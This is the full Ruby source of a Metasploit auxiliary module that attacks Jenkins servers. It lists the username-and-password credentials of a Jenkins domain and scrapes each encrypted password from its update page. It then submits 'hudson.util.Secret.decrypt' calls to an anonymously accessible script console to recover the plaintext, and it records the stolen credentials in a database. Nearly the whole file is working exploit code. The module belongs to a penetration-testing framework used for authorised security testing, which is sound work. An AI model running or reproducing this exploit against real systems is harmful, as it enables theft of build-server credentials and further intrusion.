metasploit-framework/modules/auxiliary/gather/jenkins_cred_recovery.rb

293 lines
7.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins Domain Credential Recovery',
'Description' => %q{
This module will collect Jenkins domain credentials, and uses
the script console to decrypt each password if anonymous permission
is allowed.
It has been tested against Jenkins version 1.590, 1.633, and 1.638.
},
'Author' =>
[
'Th3R3p0', # Vuln Discovery, PoC
'sinn3r' # Metasploit
],
'References' =>
[
[ 'EDB', '38664' ],
[ 'URL', 'http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ]
],
'DefaultOptions' =>
{
'RPORT' => 8080
},
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),
OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_'])
])
end
# Returns the Jenkins version.
#
# @return [String] Jenkins version.
# @return [NilClass] No Jenkins version found.
def get_jenkins_version
uri = normalize_uri(target_uri.path)
res = send_request_cgi({ 'uri' => uri })
unless res
fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
end
html = res.get_html_document
version_attribute = html.at('body').attributes['data-version']
version = version_attribute ? version_attribute.value : ''
version.scan(/jenkins\-([\d\.]+)/).flatten.first
end
# Returns the Jenkins domain configured by the user.
#
# @return [String]
def domain
datastore['JENKINSDOMAIN']
end
# Returns a check code indicating the vulnerable status.
#
# @return [Array] Check code
def check
version = get_jenkins_version
vprint_status("Found version: #{version}")
# Default version is vulnerable, but can be mitigated by refusing anonymous permission on
# decryption API. So a version wouldn't be adequate to check.
if version
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
# Returns all the found Jenkins accounts of a specific domain. The accounts collected only
# include the ones with the username-and-password kind. It does not include other kinds such
# as SSH, certificates, or other plugins.
#
# @return [Array<Hash>] An array of account data such as id, username, kind, description, and
# the domain it belongs to.
def get_users
users = []
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain)
uri << '/'
res = send_request_cgi({ 'uri'=>uri })
unless res
fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.')
end
html = res.get_html_document
rows = html.search('//table[@class="sortable pane bigtable"]//tr')
# The first row is the table header, which we don't want.
rows.shift
rows.each do |row|
td = row.search('td')
id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || ''
name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || ''
kind = td[2].text
desc = td[3].text
next unless /Username with password/i === kind
users << {
id: id,
username: name,
kind: kind,
description: desc,
domain: domain
}
end
users
end
# Returns the found encrypted password from the update page.
#
# @param id [String] The ID of a specific account.
#
# @return [String] Found encrypted password.
# @return [NilCass] No encrypted password found.
def get_encrypted_password(id)
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update')
res = send_request_cgi({ 'uri'=>uri })
unless res
fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password')
end
html = res.get_html_document
input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')
if input
return input.attributes['value'].value
else
vprint_error("Unable to find encrypted password for #{id}")
end
nil
end
# Returns the decrypted password by using the script console.
#
# @param encrypted_pass [String] The encrypted password.
#
# @return [String] The decrypted password.
# @return [NilClass] No decrypted password found (no result found on the console)
def decrypt(encrypted_pass)
uri = normalize_uri(target_uri, 'script')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'",
'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json,
'Submit' => 'Run'
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')
end
if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body
vprint_error('No permission to decrypt password')
return nil
end
html = res.get_html_document
result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')
if result
decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first
return decrypted_password
else
vprint_error('Unable to find result')
end
nil
end
# Decrypts an encrypted password for a given ID.
#
# @param id [String] Account ID.
#
# @return [String] The decrypted password.
# @return [NilClass] No decrypted password found (no result found on the console)
def descrypt_password(id)
encrypted_pass = get_encrypted_password(id)
decrypt(encrypted_pass)
end
# Reports the username and password to database.
#
# @param opts [Hash]
# @option opts [String] :user
# @option opts [String] :password
# @option opts [String] :proof
#
# @return [void]
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
if opts[:password]
credential_data.merge!(
private_data: opts[:password],
private_type: :password
)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
users = get_users
print_status("Found users for domain #{domain}: #{users.length}")
users.each do |user_data|
pass = descrypt_password(user_data[:id])
if pass
if user_data[:description].blank?
print_good("Found credential: #{user_data[:username]}:#{pass}")
else
print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})")
end
else
print_status("Found #{user_data[:username]}, but unable to decrypt password.")
end
report_cred(
user: user_data[:username],
password: pass,
proof: user_data.inspect
)
end
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
end